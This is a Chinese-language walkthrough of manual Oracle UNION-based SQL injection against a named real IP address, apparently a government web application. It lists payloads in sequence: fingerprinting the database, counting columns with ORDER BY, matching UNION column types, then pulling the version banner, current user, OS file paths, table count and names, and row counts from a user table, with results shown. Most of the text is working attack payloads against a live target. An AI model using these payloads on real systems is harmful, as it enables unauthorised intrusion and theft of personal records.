Oracle Union手工注入

      http://61.144.227.35/main/gb/adminhall/szzwresult.jsp
    

POST:

code 区域
      field2=201502163000016
    

输入任意数据的时候提示出错,回执编号可以在首页上面看到,如图:

正常POST访问页面为:

判断数据库,在一番测试后最后判定是Oracle,判断数据:

code 区域
      field2=201502163000016' and  0<>(select count(*) from dual) --
    

判断字段长度,提交:

code 区域
      field2=201502163000016' order by 17--
    

页面正常
直接union,由于oracle的字段敏感性,类型必须一一对应,只能提交:

code 区域
      field2=201502163000016' UNION SELECT null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null from dual--
    

页面正常
紧接着判断字段,逐一排除,最终提交:

code 区域
      field2=201502163000016'  UNION SELECT '1','2','3','4','5','6','7','8','9',10,11,12,'13','14','15',null,'17' from dual--
    

可用字段:1,5,9
接下来就是直接Union的过程:

1、看看版本:

code 区域
      field2=201502163000016'  UNION SELECT '11'||((select banner from sys.v_$version where rownum=1)),'2','3','4','5','6','7','8','9',10,11,12,'13','14','15',null,'17' from dual--
    

2、看看当前连接用户名:

code 区域
      field2=201502163000016'  UNION SELECT '11'||((select SYS_CONTEXT ('USERENV', 'CURRENT_USER') from dual)),'2','3','4','5','6','7','8','9',10,11,12,'13','14','15',null,'17' from dual--
    

3、判断操作系统

code 区域
      field2=201502163000016'  UNION SELECT '11'||((select member from v$logfile where rownum=1)),'2','3','4','5','6','7','8','9',10,11,12,'13','14','15',null,'17' from dual--
    

结果:

code 区域
      H:\ORADATA\SZGOV92\REDO01.LOG
    

是windows系统
4、表,一共有259张表:

code 区域
      field2=201502163000016' and (select count (*) from user_tables)=259 and 'kKTd'='kKTd
    

5、表名:

code 区域
      field2=201502163000016'  UNION SELECT '11'||TABLE_NAME,'2','3','4','5','6','7','8','9',10,11,12,'13','14','15',null,'17' from (select A.*,rownum rn from (select * from USER_TABLES) A where rownum<2) where rn>0--
    

第一张表:MEMBER_ACCOUNT

6、看看表里记录条数:

code 区域
      field2=201502163000016'  UNION SELECT '11'||count(*),'2','3','4','5','6','7','8','9',10,11,12,'13','14','15',null,'17' from INQUIRY_USER--
    

code 区域
      5397条记录